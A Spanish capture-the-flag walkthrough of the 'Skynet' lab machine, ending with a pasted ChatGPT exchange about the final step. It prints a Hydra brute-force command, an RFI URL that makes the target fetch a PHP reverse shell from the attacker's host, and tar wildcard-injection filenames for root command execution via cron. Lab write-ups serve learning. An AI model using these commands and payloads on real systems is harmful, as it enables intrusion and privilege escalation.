search

🦾SKYNET

1. RECONOCIMIENTO:

Al iniciar con el reconocimiento, me centré en la exploración de directorios del sitio web utilizando gobuster y la lista de palabras comunes common.txt de dirb. 

gobuster dir -u http://10.10.131.229 -w /usr/share/wordlists/dirb/common.txt

Entre los resultados, se destacó el directorio /squirrelmail. Decidí realizar un escaneo de nmap completo para obtener información más detallada y lo guardé en un archivo XML para luego convertirlo a HTML.

nmap -sS -sV -O --script=vuln  10.10.131.229

Esto proporcionó un informe detallado del escaneo de nmap que fue crucial para la siguiente fase.

2.SERVICIO SAMBA SMB COMPARTIO UN RECURSO SIN CREDENCIALES LLAMADO ANONIMOUS:

El escaneo de nmap reveló los puertos 139 y 445 abiertos, indicando que SMB estaba presente. Utilicé smbclient para enumerar los recursos compartidos SMB.

smbclient -L 10.10.131.229/anonimous

Descubrí un recurso compartido anónimo y exploré su contenido. Encontré el archivo attention.txt que reveló el nombre de usuario Miles Dyson. Además, en log1.txt encontré un conjunto de contraseñas que usaremos para fuerza bruta al login de squirrelmail a posterior.

3. CREDENCIALES DE FUERZA BRUTA obtenidas con HYDRA y vimos tambien con BURPSUITE:

Decidí utilizar las credenciales encontradas para realizar un ataque de fuerza bruta contra el servicio de correo alojado en /squirrelmail. Utilicé Burp Suite Intruder para realizar el ataque de fuerza bruta.

Después de algún tiempo, obtuve la contraseña cyborg007haloterminator. Inicié sesión en el correo electrónico y encontré la clave para la siguiente tarea que era en el servicio SMB.

Y con HYDRA lo logre con el siguiente comando:

hydra -l miles -P passwdskynet.txt 10.10.131.229 http-post-form "/squirrelmail/src/login.php:login_username=^USER^&secretkey=^PASS^&js_autodetect_results=1&just_logged_in=1&Login=Login:<font><b>ERROR</b></font>" -vv -t 1 -stop

4. INICIO EN EL SERVICIO COMPARTIDO POR SAMBA:

Ingresé al recurso compartido SMB milesdyson utilizando las credenciales obtenidas. Exploré el contenido y encontré el archivo important.txt que reveló un directorio secreto oculto.

5. Fuerza bruta de directorio:

Con el directorio oculto /45kra24zxs28v3yd/ descubierto, utilicé gobuster nuevamente para encontrar el panel de administración /administrator que redirige a una página de inicio de sesión en Cuppa CMS.

6. RFI (Inclusión remota de archivos):

Descubrí una vulnerabilidad de LFI y inclusión remota de archivos (RFI) en Cuppa CMS gracias al script de un exploit que decia qeu explotaba esto. Verifiqué la vulnerabilidad al intentar acceder a /etc/passwd a través del sitio web.

Luego, aproveché la vulnerabilidad RFI para incluir un shell PHP remoto (shellpaimon.php) creado con MSFVENOM sirviendolo en mi servidor python desde mi maquina atacante y enviandolo a CUPPA desde RFI en su URL asi: (http://10.10.131.229/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.10.241.89:8080/shellpaimon.phparrow-up-right) y establecer una conexión de escucha con Netcat.

Visitando la URL con el payload RFI, logré obtener una shell interactiva.

7. Escalada de privilegios:

Al explorar los cron jobs, encontré un script (backup.sh) ejecutado como root. No pude editarlo directamente, asi qeu creamos unos archivos con touch con nombres especiales que luego TAR los tratara mal como si fueran comandos, y como las cron tabs usaban este TAR para comprimir todo lo que estaba en la ruta html los ejecutara como ROOT y ejecutara shell.sh dandono una shell reverssa y obtener una shell de root en nuestroi netcat a la escucha .

Con esto, logré obtener una shell de root y completar la máquina.Una máquina Linux vulnerable con temática Terminator.

ESPLICACION DE LA VULNERABILIDAD COMPLETA POR LA QUE SE DIO LA ESCALADA DE PRIVILEGIO:

YO:

mira ahi unas crontab ejecutadas por root, que apuntan a ejecutar este archivo con su contenidio: cat backup.sh #!/bin/bash cd /var/www/html tar cf /home/milesdyson/backups/backup.tgz * . y si vemos este script .sh se va al directorio cd /var/www/html y usa tar para comprimir todo lo que hay en el, sera aqui la bulnerabilidad por parte de como trata tar los nombres especiales e los archivos que creamos antes al comprimirlos y en realidad por esta vulnerabilidad los termina ejecutando como root dandome la shell indirectamente como root en mi netcat ?

ChatGPT:

Sí, parece que has identificado correctamente la posible vulnerabilidad en el script backup.sh que se ejecuta a través de las crontabs como root. Vamos a analizarlo en detalle:

bash Copy code #!/bin/bash cd /var/www/html tar cf /home/milesdyson/backups/backup.tgz * . Aquí se explica lo que hace el script:

Cambia al directorio /var/www/html. Utiliza el comando tar para crear un archivo backup.tgz en el directorio /home/milesdyson/backups. tar cf /home/milesdyson/backups/backup.tgz * . indica que se debe incluir todo (*) en el directorio actual (.) en el archivo backup.tgz. Ahora, si recordamos los archivos que creaste anteriormente:

/var/www/html/--checkpoint-action=exec=sh shell.sh /var/www/html/--checkpoint=1 Parece que podrías aprovechar la vulnerabilidad en la forma en que tar maneja los nombres de archivos especiales. Si el script de copia de seguridad (backup.sh) es ejecutado por root, y tar interpreta de manera incorrecta los nombres de archivos especiales, podrías lograr la ejecución de comandos arbitrarios en el contexto de root.

Esto podría ser un caso de inyección de comandos a través de nombres de archivos maliciosos que son interpretados por tar de manera incorrecta. Será necesario realizar pruebas adicionales para confirmar la explotación de esta vulnerabilidad específica.

Last updated